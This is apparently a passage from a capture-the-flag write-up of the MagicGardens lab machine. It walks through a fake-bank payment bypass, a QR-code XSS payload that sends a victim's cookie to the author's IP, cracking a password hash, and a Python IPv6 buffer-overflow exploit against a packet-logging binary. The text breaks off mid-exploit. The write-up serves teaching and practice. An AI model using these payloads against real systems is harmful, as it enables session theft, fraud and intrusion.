oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.9
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-01 14:25 EST
Nmap scan report for magicgardens.htb (10.10.11.9)
Host is up (0.085s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
1337/tcp open waste
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds
oxdf@hacky$ nmap -p 22,80,1337,5000 -sCV 10.10.11.9
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-01 14:31 EST
Nmap scan report for magicgardens.htb (10.10.11.9)
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 e0:72:62:48:99:33:4f:fc:59:f8:6c:05:59:db:a7:7b (ECDSA)
|_ 256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Magic Gardens
|_http-server-header: nginx/1.22.1
1337/tcp open waste?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, TerminalServer, TerminalServerCookie, X11Probe, afp, giop, ms-sql-s:
|_ [x] Handshake error
5000/tcp open ssl/http Docker Registry (API: 2.0)
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2023-05-23T11:57:43
|_Not valid after: 2024-05-22T11:57:43
|_http-title: Site doesn't have a title.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.94SVN%I=7%D=2/1%Time=679E767D%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,15,"\[x\]\x20Handshake\x20error\n\0")%r(GetRequest,15,"\[x
SF:\]\x20Handshake\x20error\n\0")%r(HTTPOptions,15,"\[x\]\x20Handshake\x20
SF:error\n\0")%r(RTSPRequest,15,"\[x\]\x20Handshake\x20error\n\0")%r(RPCCh
SF:eck,15,"\[x\]\x20Handshake\x20error\n\0")%r(DNSVersionBindReqTCP,15,"\[
SF:x\]\x20Handshake\x20error\n\0")%r(DNSStatusRequestTCP,15,"\[x\]\x20Hand
SF:shake\x20error\n\0")%r(Help,15,"\[x\]\x20Handshake\x20error\n\0")%r(Ter
SF:minalServerCookie,15,"\[x\]\x20Handshake\x20error\n\0")%r(X11Probe,15,"
SF:\[x\]\x20Handshake\x20error\n\0")%r(FourOhFourRequest,15,"\[x\]\x20Hand
SF:shake\x20error\n\0")%r(LPDString,15,"\[x\]\x20Handshake\x20error\n\0")%
SF:r(LDAPSearchReq,15,"\[x\]\x20Handshake\x20error\n\0")%r(LDAPBindReq,15,
SF:"\[x\]\x20Handshake\x20error\n\0")%r(LANDesk-RC,15,"\[x\]\x20Handshake\
SF:x20error\n\0")%r(TerminalServer,15,"\[x\]\x20Handshake\x20error\n\0")%r
SF:(NCP,15,"\[x\]\x20Handshake\x20error\n\0")%r(NotesRPC,15,"\[x\]\x20Hand
SF:shake\x20error\n\0")%r(JavaRMI,15,"\[x\]\x20Handshake\x20error\n\0")%r(
SF:ms-sql-s,15,"\[x\]\x20Handshake\x20error\n\0")%r(afp,15,"\[x\]\x20Hands
SF:hake\x20error\n\0")%r(giop,15,"\[x\]\x20Handshake\x20error\n\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.46 seconds
Based on the OpenSSH version, the host is likely running Debian 12 bookworm.
The TLS certificate on 5000 doesn’t show a domain name.
Docker Registry - TCP 5000
I’ve enumerated Docker Registry a couple times before, and go into details about the API in my post on RegistryTwo. Port 5000 shows the standard empty response on /
:
HTTP/2 200 OK
Cache-Control: no-cache
Content-Length: 0
Date: Sat, 01 Feb 2025 20:11:09 GMT
Trying to visit the /v2/
endpoint returns a message saying I need auth to continue:
oxdf@hacky$ curl -k https://magicgardens.htb:5000/v2/
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":null}]}
This is the response for an HTTP 401, asking for HTTP basic auth. Without creds, not much else to do here.
TCP 1337
I’ll try to interact with the unknown service on 1337. curl
shows that it’s not HTTP/HTTPS:
oxdf@hacky$ curl magicgardens.htb:1337
curl: (1) Received HTTP/0.9 when not allowed
oxdf@hacky$ curl -k https://magicgardens.htb:1337
curl: (35) OpenSSL/3.0.13: error:0A00010B:SSL routines::wrong version number
Connecting with nc
hangs, and on entering something and hitting enter, replies with an error and exits:
oxdf@hacky$ nc magicgardens.htb 1337
qweqweqweqwe
[x] Handshake error
Will have to come back to this once I understand more about it.
Website - TCP 80
Visiting the site by IP address redirects to magicgardens.htb
. I’ll do a quick brute force for subdomains that respond differently but not find any. I’ll add this to my /etc/hosts
file:
10.10.11.9 magicgardens.htb
The site is for a flower shop:
Server: nginx/1.22.1
Date: Sat, 01 Feb 2025 22:12:36 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Frame-Options: DENY
Vary: Cookie
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Content-Length: 31244
The 404 page shows the Python Django framework default 404 page:
I’ll run feroxbuster
against the site:
oxdf@hacky$ feroxbuster -u http://magicgardens.htb --dont-extract-links
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://magicgardens.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 10l 21w 179c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 0l 0w 0c http://magicgardens.htb/admin => http://magicgardens.htb/admin/
200 GET 458l 1853w 30861c http://magicgardens.htb/
301 GET 0l 0w 0c http://magicgardens.htb/register => http://magicgardens.htb/register/
301 GET 0l 0w 0c http://magicgardens.htb/logout => http://magicgardens.htb/logout/
301 GET 0l 0w 0c http://magicgardens.htb/search => http://magicgardens.htb/search/
301 GET 0l 0w 0c http://magicgardens.htb/login => http://magicgardens.htb/login/
301 GET 0l 0w 0c http://magicgardens.htb/catalog => http://magicgardens.htb/catalog/
...[snip]...
I typically --dont-follow-links
as it mostly returns a bunch of images and CSS. feroxbuster
does find /admin
, which confirms this site is Django:
Request Analysis
When I try to pay for a subscription, there’s a POST request to /subscribe/
that looks like:
POST /subscribe/ HTTP/1.1
Host: magicgardens.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://magicgardens.htb/profile/?tab=subscription&action=upgrade
Content-Type: application/x-www-form-urlencoded
Content-Length: 189
Origin: http://magicgardens.htb
Cookie: csrftoken=UJawGZQ4cAD1IVh3TrTYjwwmODpw7Tzl; sessionid=.eJxrYJ2axQABtVM0ejhKi1OL8hJzU6f0sBhUpKRN6WErLkksKS2e0sMRXJKYl5JYlDKlh7M8szgjPiezuGRKD8OUHh4wNzm_NK8ktWhKBlsPZ3JiUQlEHsjjAfMQ0qV6AIlUK3Q:1teLkj:YK6d_IOBZ0uwTvcVhh36iuHavKePNsjBQwlgdKOICkE
csrfmiddlewaretoken=9sKpVDmnNKNMs2Bki5xvd4d3zd1ddcNqT1KLrs2hPagD0NId1mgjmqzfdGgzaVcB&bank=honestbank.htb&cardname=0xdf&cardnumber=1111-2222-3333-4444&expmonth=September&expyear=2026&cvv=420
In addition to the card name and number, expiration, and cvv, there’s a bank
field with the value honestbank.htb
. That comes from the bank I select here:
Bank API
To understand the bank APIs, I’ll send the request to /subscribe/
to Burp Repeater and change the bank
parameter to my IP. On sending, an HTTP request arrives at my listening nc
:
oxdf@hacky$ nc -lnvp 80
Listening on 0.0.0.0 80
Connection received on 10.10.11.9 49908
POST /api/payments/ HTTP/1.1
Host: 10.10.14.6
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 129
Content-Type: application/json
{"cardname": "0xdf", "cardnumber": "1111-2222-3333-4444", "expmonth": "September", "expyear": "2026", "cvv": "420", "amount": 25}
So when I try to pay, it sends a request to /api/payments/
at the bank using the Python requests
module.
I’ll try sending this same request to see what the response looks like:
oxdf@hacky$ curl honestbank.htb/api/payments/ -d '{"cardname": "0xdf", "cardnumber": "1111-2222-3333-4444", "expmonth": "September", "expyear": "2026", "cvv": "420", "amount": 25}'
{"status": "402", "message": "Payment Required", "cardname": "0xdf", "cardnumber": "1111-2222-3333-4444"}
It’s JSON with four fields. The last two are just mirroring what was sent. The first two are the HTTP status code of the response:
oxdf@hacky$ curl -v honestbank.htb/api/payments/ -d '{"cardname": "0xdf", "cardnumber": "1111-2222-3333-4444", "expmonth": "September", "expyear": "2026", "cvv": "420", "amount": 25}'
* Host honestbank.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.9
* Trying 10.10.11.9:80...
* Connected to honestbank.htb (10.10.11.9) port 80
> POST /api/payments/ HTTP/1.1
> Host: honestbank.htb
> User-Agent: curl/8.5.0
> Accept: */*
> Content-Length: 129
> Content-Type: application/x-www-form-urlencoded
< HTTP/1.1 402 Payment Required
< Server: nginx/1.22.1
< Date: Sun, 02 Feb 2025 11:31:20 GMT
< Content-Type: application/json
< Content-Length: 105
< Connection: keep-alive
< X-Frame-Options: DENY
< X-Content-Type-Options: nosniff
< Referrer-Policy: same-origin
< Cross-Origin-Opener-Policy: same-origin
* Connection #0 to host honestbank.htb left intact
{"status": "402", "message": "Payment Required", "cardname": "0xdf", "cardnumber": "1111-2222-3333-4444"}
Fake Bank
I’ll write a simple Flask script that will return success when hit on /api/payments/
:
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route("/api/payments/", methods=["POST"])
def payments():
data = request.get_json()
response = {
"status": "200",
"message": "OK",
"cardname": data["cardname"],
"cardnumber": data["cardnumber"],
return jsonify(response)
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0")
I could fake this with nc
and raw data, but this app is so simple to write (and ChatGPT can do it as well).
I’ll run it, and turn on interception in Burp Proxy. I’ll submit the payment request, and change the bank to the IP / port of my server, 10.10.14.6:5000
. On sending that, there’s a request at my Flask app:
oxdf@hacky$ python fake_bank.py
* Serving Flask app 'fake_bank'
* Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:5000
* Running on http://10.0.2.7:5000
Press CTRL+C to quit
* Restarting with stat
* Debugger is active!
* Debugger PIN: 521-979-635
10.10.11.9 - - [02/Feb/2025 06:38:23] "POST /api/payments/ HTTP/1.1" 200 -
After refreshing the page, I’ve got a premium subscription:
The QRcode I’m given decodes to three values joined by period:
oxdf@hacky$ zbarimg qrcode.png
QR-Code:465e929fc1e0853025faad58fc8cb47d.0d341bcdc6746f1d452b3f4de32357b9.0xdf
scanned 1 barcode symbols from 1 images in 0.04 seconds
The last one is my username. The first one is the MD5 of my username:
oxdf@hacky$ echo -n "0xdf" | md5sum
465e929fc1e0853025faad58fc8cb47d -
It’s not clear what the middle one is.
Messages
When I complete a purchase as a premium subscriber, I get a message:
It’s possible that Morty is going to scan the QRCode with some system that will display it’s validity. The username is included, which suggests that might be displayed back as well. If that’s the case, it’s possible that raw HTML in the QRcode could be rendered, providing a XSS opportunity.
To test this, I’ll include an image tag in a QRcode:
oxdf@hacky$ qrencode -o xss-img.png '465e929fc1e0853025faad58fc8cb47d.0d341bcdc6746f1d452b3f4de32357b9.0xdf<img src="http://10.10.14.6/img" />'
When I send this to morty, less than a minute later I get a hit on my server:
10.10.11.9 - - [02/Feb/2025 07:02:16] code 404, message File not found
10.10.11.9 - - [02/Feb/2025 07:02:16] "GET /img HTTP/1.1" 404 -
I’ll note that the cookies on this site are not HttpOnly
:
That means I can exfil morty’s cookie. I’ll write a POC to write a script tag and have it exfil the cookie through an image tag:
oxdf@hacky$ qrencode -o xss-poc.png '465e929fc1e0853025faad58fc8cb47d.0d341bcdc6746f1d452b3f4de32357b9.0xdf<script>img=new Image(); img.src="http://10.10.14.6/?c=" + document.cookie;</script>'
Shortly after sending this, I get a hit:
10.10.11.9 - - [02/Feb/2025 10:43:03] "GET /?c=csrftoken=gs5PGLZyqUt4cwgOZu6s2iJfnv6Bxo04;%20sessionid=.eJxNjU1qwzAQhZNFQgMphZyi3QhLluNoV7rvqgcwkixFbhMJ9EPpotADzHJ63zpuAp7d977Hm5_V7265mO4bH-GuJBO9PBuE1TnE_IWwTlnmksbgLUtrETafQ3LdaUgZYYGwnVCH4rOJ6Naw0TLmfz_SdqKZvu9kya67POqGHmHJEHazTEn9Yfwonvp36Y-B6OBzHBS5VMjVJvIaenN6uXUfZgNOJofwTBttmW0FrU3VcGbMgWlRKcWptIIy2Ryqfa1t0-o9VYqpyrCaG061amuuhcBC_gDes2X7:1tec94:pgxZ_OL42x44OoYBHLKHdXAWlvtbt3iGgv9vvUnP9GM HTTP/1.1" 200 -
morty Session
I’ll replace my cookies in the browser dev tools with the exfiled ones, and the browser shows a session as morty:
I’ll save that hash to a file, and pass it to hashcat
:
$ hashcat morty.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
10000 | Django (PBKDF2-SHA256) | Framework
...[snip]...
$ hashcat morty.hash --show
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
10000 | Django (PBKDF2-SHA256) | Framework
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=:jonasbrothers
The password works to SSH as morty:
oxdf@hacky$ sshpass -p 'jonasbrothers' ssh morty@magicgardens.htb
Linux magicgardens 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
morty@magicgardens:~$
Shell as alex
Enumeration
Users
morty’s home directory doesn’t have much in it. There’s a bot
folder that has a Python script that triggers the XSS, but doesn’t have anything useful going forward.
There’s one other user with a home directory in /home
, alex:
morty@magicgardens:/home$ ls
alex morty
This matches the users with shells set in /etc/passwd
:
morty@magicgardens:/$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
alex:x:1000:1000:alex,,,:/home/alex:/bin/bash
morty:x:1001:1001::/home/morty:/bin/bash
Processes
The alex user is running a process called harvest
:
morty@magicgardens:/$ ps auxww | grep alex
alex 1760 0.0 0.2 18968 10664 ? Ss Feb01 0:00 /lib/systemd/systemd --user
alex 1761 0.0 0.0 168264 3084 ? S Feb01 0:00 (sd-pam)
alex 1780 0.0 0.0 2464 908 ? S Feb01 0:00 harvest server -l /home/alex/.harvest_logs
root 4073 0.0 0.2 17392 10884 ? Ss Feb01 0:00 sshd: alex [priv]
alex 4079 0.0 0.1 17652 6624 ? S Feb01 0:00 sshd: alex@pts/0
alex 4080 0.0 0.0 7196 3912 pts/0 Ss Feb01 0:00 -bash
harvest
is running without a full path, so it’s likely in the alex user’s path. It’s in morty’s as well:
morty@magicgardens:/$ which harvest
/usr/local/bin/harvest
I’ll copy the binary back with scp
:
oxdf@hacky$ sshpass -p 'jonasbrothers' scp morty@magicgardens.htb:/usr/local/bin/harvest .
Harvest Analysis
file
isn’t installed on MagicGardens, but on my machine it shows this is a 64-bit Linux ELF executable:
oxdf@hacky$ file harvest
harvest: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=13667f92f8314f1b726e07ce96dd2a4fad06df7f, for GNU/Linux 3.2.0, not stripped
VirusTotal shows it was first uploaded on 29 May 2024, about two weeks after MagicGarden’s release:
██░ ██ ▄▄▄ ██▀███ ██▒ █▓▓█████ ██████ ▄▄▄█████▓
▓██░ ██▒▒████▄ ▓██ ▒ ██▒▓██░ █▒▓█ ▀ ▒██ ▒ ▓ ██▒ ▓▒
▒██▀▀██░▒██ ▀█▄ ▓██ ░▄█ ▒ ▓██ █▒░▒███ ░ ▓██▄ ▒ ▓██░ ▒░
░▓█ ░██ ░██▄▄▄▄██ ▒██▀▀█▄ ▒██ █░░▒▓█ ▄ ▒ ██▒░ ▓██▓ ░
░▓█▒░██▓ ▓█ ▓██▒░██▓ ▒██▒ ▒▀█░ ░▒████▒▒██████▒▒ ▒██▒ ░
▒ ░░▒░▒ ▒▒ ▓▒█░░ ▒▓ ░▒▓░ ░ ▐░ ░░ ▒░ ░▒ ▒▓▒ ▒ ░ ▒ ░░
▒ ░▒░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ░░ ░ ░ ░░ ░▒ ░ ░ ░
░ ░░ ░ ░ ▒ ░░ ░ ░░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░
harvest v1.0.3 - Remote network analyzer
Usage: harvest <command> [options...]
Commands:
server run harvest in server mode
client run harvest in client mode
Options:
-h show this message
-l <file> log file
-i <interface> capture packets on this interface
Example:
harvest server -i eth0
harvest client 10.10.15.212
Please, define mode
Running it in server mode just starts it with a listening message and hangs:
oxdf@hacky$ sudo ./harvest server -i tun0
[*] Listening on interface tun0
If in another terminal I start a client, it starts dumping data:
oxdf@hacky$ ./harvest client 10.10.14.6
[*] Connection to 10.10.14.6 1337 port succeeded
[*] Successful handshake
g--------------------------------------------------
Source: [08:00:27:99:9c:61] [10.0.2.7]
Dest: [52:54:00:12:35:02] [152.96.15.4]
Time: [14:42:40] Length: [0]
--------------------------------------------------
Source: [08:00:27:99:9c:61] [10.0.2.7]
Dest: [52:54:00:12:35:02] [152.96.15.4]
Time: [14:42:40] Length: [0]
--------------------------------------------------
Source: [08:00:27:99:9c:61] [10.0.2.7]
Dest: [52:54:00:12:35:02] [23.106.56.133]
Time: [14:42:40] Length: [0]
--------------------------------------------------
Source: [52:54:00:12:35:02] [23.106.56.133]
Dest: [08:00:27:99:9c:61] [10.0.2.7]
Time: [14:42:40] Length: [39]
--------------------------------------------------
...[snip]...
It seems to be dumping metadata about all packets that the server is seeing (even on other interfaces). It’s connecting on TCP 1337, which is also open on MagicGardens. It works there too:
oxdf@hacky$ ./harvest client 10.10.11.9
[*] Connection to 10.10.11.9 1337 port succeeded
[*] Successful handshake
It just hangs, and eventually prints some localhost data. If I then enter a command into my SSH session, my IP shows up:
...[snip]...
--------------------------------------------------
Source: [00:50:56:b9:70:e2] [10.10.14.6]
Dest: [00:50:56:b9:e9:18] [10.10.11.9]
Time: [14:45:37] Length: [86]
--------------------------------------------------
Source: [00:50:56:b9:e9:18] [10.10.11.9]
Dest: [00:50:56:b9:70:e2] [10.10.14.6]
Time: [14:45:37] Length: [86]
--------------------------------------------------
Source: [00:50:56:b9:70:e2] [10.10.14.6]
Dest: [00:50:56:b9:e9:18] [10.10.11.9]
Time: [14:45:37] Length: [86]
--------------------------------------------------
Source: [00:50:56:b9:e9:18] [10.10.11.9]
Dest: [00:50:56:b9:70:e2] [10.10.14.6]
Time: [14:45:37] Length: [86]
--------------------------------------------------
Source: [00:50:56:b9:70:e2] [10.10.14.6]
Dest: [00:50:56:b9:e9:18] [10.10.11.9]
Time: [14:45:37] Length: [86]
--------------------------------------------------
Source: [00:50:56:b9:70:e2] [10.10.14.6]
Dest: [00:50:56:b9:e9:18] [10.10.11.9]
Time: [14:45:37] Length: [86]
--------------------------------------------------
...[snip]...
If I take a look in Wireshark while connecting to the server on MagicGardens, I’ll see the client sends the string “harvest v1.0.3”, to which the server replies with the same, and then starts sending data:
Reversing
I’ll open the binary in Ghidra and take a look. The main
function just parses the args, printing the usage if anything is not right, and then calls either the harvest_server
or harvest_client
functions based on that input:
int main(int argc,long argv)
int res;
char *other_args [3];
char *mode;
int parse_args_ret;
parse_args(other_args,argc,argv);
if (parse_args_ret != 0) {
print_usage();
/* WARNING: Subroutine does not return */
exit(0);
res = strcmp(mode,"server");
if (res == 0) {
harvest_server(other_args);
else {
harvest_client(other_args);
return 0;
harvest_client
has nicely named functions that show what it does:
void harvest_client(char **param_1)
int socket_id;
socket_id = harvest_connect(param_1[1],*(uint *)(param_1 + 2));
harvest_handshake_client(socket_id,*param_1);
harvest_read(socket_id);
return;
It connects based on the input parameters, does the handshake (sending the “harvest 1.0.3” string shown above), and then reads from the socket and prints to stdout. Nothing too exciting there.
harvest_server
is also very simple:
void harvest_server(char **param_1)
signal(0xd,(__sighandler_t)&DAT_00000001);
harvest_listen(*(uint *)(param_1 + 2),*param_1,param_1[4],param_1[6]);
return;
It sets a handler for signal 0xd which is SIGPIPE
for a broken pipe, and then calls harvest_listen
. This function handles setting up the listening socket, and then calls handle_connections
. Digging down a bit further, there are functions that handle client connection and the handshake, as well as a handle_raw_packets
function.
handle_raw_packets
get the sniffed packet and parses it:
void handle_raw_packets(int param_1,char *param_2,char *param_3)
ssize_t pkt_len;
char *time_str;
char time_str_out [8];
undefined uStack_10072;
time_t timestamp;
char src_mac [32];
char dst_mac [32];
byte packet_buffer [65566];
memset(packet_buffer,0,0xffff);
pkt_len = recvfrom(param_1,packet_buffer,0xffff,0,(sockaddr *)0x0,(socklen_t *)0x0);
timestamp = time((time_t *)0x0);
time_str = ctime(×tamp);
strncpy(time_str_out,time_str + 0xb,8);
uStack_10072 = 0;
if ((uint)pkt_len < 0x28) {
puts("Incomplete packet ");
close(param_1);
/* WARNING: Subroutine does not return */
exit(0);
sprintf(dst_mac,"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",(ulong)packet_buffer[6],(ulong)packet_buffer[7],
(ulong)packet_buffer[8],(ulong)packet_buffer[9],(ulong)packet_buffer[10],
(ulong)packet_buffer[0xb]);
sprintf(src_mac,"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",(ulong)packet_buffer[0],(ulong)packet_buffer[1],
(ulong)packet_buffer[2],(ulong)packet_buffer[3],(ulong)packet_buffer[4],
(ulong)packet_buffer[5]);
if (packet_buffer[0xe] == 0x45) {
print_packet((long)(packet_buffer + 0xe),param_3,param_2,dst_mac,src_mac,time_str_out,
(long)packet_buffer);
if (packet_buffer[0xe] == 0x60) {
log_packet((long)(packet_buffer + 0xe),param_3);
return;
There’s a branch checking the packet at offset 14 (0xe), which is the payload of the Ethernet frame:
The first byte of the IP packet (both IPv4 and IPv6) is the four bit version. Checking for 0x45 and 0x60 are a simplified check for IPv4 vs IPv6.
The IPv4 function, print_packet
is pretty boring:
undefined8
print_packet(long param_1,undefined8 param_2,char *param_3,undefined8 param_4,undefined8 param_5,
undefined8 param_6,long param_7)
sprintf(param_3,
"--------------------------------------------------\nSource:\t[%s]\t[%hhu.%hhu.%hhu.%hhu]\ nDest:\t[%s]\t[%hhu.%hhu.%hhu.%hhu]\nTime:\t[%s]\tLength:\t[%hu]\n"
,param_4,(ulong)(uint)(int)*(char *)(param_1 + 0xc),
(ulong)(uint)(int)*(char *)(param_1 + 0xd),(ulong)(uint)(int)*(char *)(param_1 + 0xe),
(ulong)(uint)(int)*(char *)(param_1 + 0xf),param_5,
(ulong)(uint)(int)*(char *)(param_1 + 0x10),(ulong)(uint)(int)*(char *)(
param_1 + 0x11),
(ulong)(uint)(int)*(char *)(param_1 + 0x12),(ulong)(uint)(int)*(char *)(param_1 + 0x13),
param_6,(ulong)(uint)(int)*(char *)(param_7 + 2));
return 0;
It outputs a string getting values from a bunch of fixed offsets into the packet.
The log_packet
function called if it’s IPv6 is more interesting. It seems to assume any IPv6 traffic is suspicious and log the entire packet:
int log_packet(long ipv6_pkt,char *param_2)
uint16_t packet_len_self;
byte pkt_data [65360];
char log_file_name [40];
FILE *h_log_file;
packet_len_self = htons(*(uint16_t *)(ipv6_pkt + 4));
if (packet_len_self != 0) {
strcpy(log_file_name,param_2);
strncpy((char *)pkt_data,(char *)(ipv6_pkt + 0x3c),(ulong)packet_len_self);
*(undefined2 *)(pkt_data + packet_len_self) = 10;
h_log_file = fopen(log_file_name,"w");
if (h_log_file == (FILE *)0x0) {
puts("Bad log file");
else {
fprintf(h_log_file,(char *)pkt_data);
fclose(h_log_file);
puts("[!] Suspicious activity. Packages have been logged.");
return 0;
It starts by getting the packet’s self-reported length, four bytes into the IPv6 header. It then copies that many bytes from the end of the IPv6 header (0x3c) to a new buffer and saves that data to a file passed in as another argument.
Tangent - BOF in Server
There is a strcpy
for param2
into log_file_name
, a 40 byte buffer. That seems very vulnerable to a buffer overflow. If I run the server with a longer filename, it starts up like normal:
oxdf@hacky$ sudo ./harvest server -l `python -c 'print("A"*100)'`
[*] Listening on interface ANY
Then when I connect with a client, all is good. But when I send any IPv6 packet to localhost, it crashes:
oxdf@hacky$ sudo ./harvest server -l `python -c 'print("A"*100)'`
[*] Listening on interface ANY
[*] Successful handshake
[!] Suspicious activity. Packages have been logged.
Segmentation fault
It does write to the log file with 100 As before it crashes. This isn’t useful to me because alex is already running the server with a reasonable log file name less than 40 characters.
Exploit
Find BOF
I have a place where its using the packet’s length to determine how long to write in the buffer. But that’s not even the problem, as the buffer isn’t long enough to take a max length IPv6 data blob. IPv6 packets can support up to 65,535 bytes of data, but the buffer for the data is only 65,360 bytes.
To test this theory, I’ll create the start of a Python exploit:
import socket
SRV_ADDR = ("::1", 4444) # port doesn't matter
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
data = b"A" * (65535)
sock.sendto(data, SRV_ADDR)
This will send a full packet of “A” characters in an IPv6 packet. The port doesn’t matter because harvest
is listening for raw packets.
I’ll start the server, and then connect the client to start logging. Then I’ll run the exploit. The server crashes:
oxdf@hacky$ sudo ./harvest server -i tun0 -l test.log
[*] Listening on interface tun0
[*] Successful handshake
[!] Suspicious activity. Packages have been logged.
Segmentation fault
There’s a new file in the same directory named with a bunch of “A”s:
oxdf@hacky$ file AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: ISO-8859 text, with very long lines (65406), with no line terminators
The file is full of a bunch of “A”s as well. So not only can I overflow and crash the server (which could lead to RCE almost certainly), I also see to have arbitrary file write, which will be much easier to exploit.
Get Filename Offset
When harvest
reads a large IPv6 packet, it overflows the payload buffer and writes into the memory holding the log file name. I’d like to know the offset to that memory, so I can target a specific file. I know it’s at least 65,360, as that’s the size of the overflowed buffer. I’ll generate a pattern to check after that:
oxdf@hacky$ pattern_create -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
I’ll update the script with that:
import socket
SRV_ADDR = ("::1", 4444) # port doesn't matter
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
data = b"A" * (65360)
data += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
sock.sendto(data, SRV_ADDR)
When I start the server and client again, and then run this, the server crashes again, creating this file from which I can measure the offset:
oxdf@hacky$ ls Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
oxdf@hacky$ pattern_offset -q Aa4A
[*] Exact match at offset 12
I’ll update the script to try to write to overflow.log
:
import socket
SRV_ADDR = ("::1", 4444) # port doesn't matter
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
data = b"A" * (65360 + 12)
data += b"overflow.log"
sock.sendto(data, SRV_ADDR)
This time, the server doesn’t crash:
oxdf@hacky$ sudo ./harvest server -i tun0 -l test.log
[*] Listening on interface tun0
[*] Successful handshake
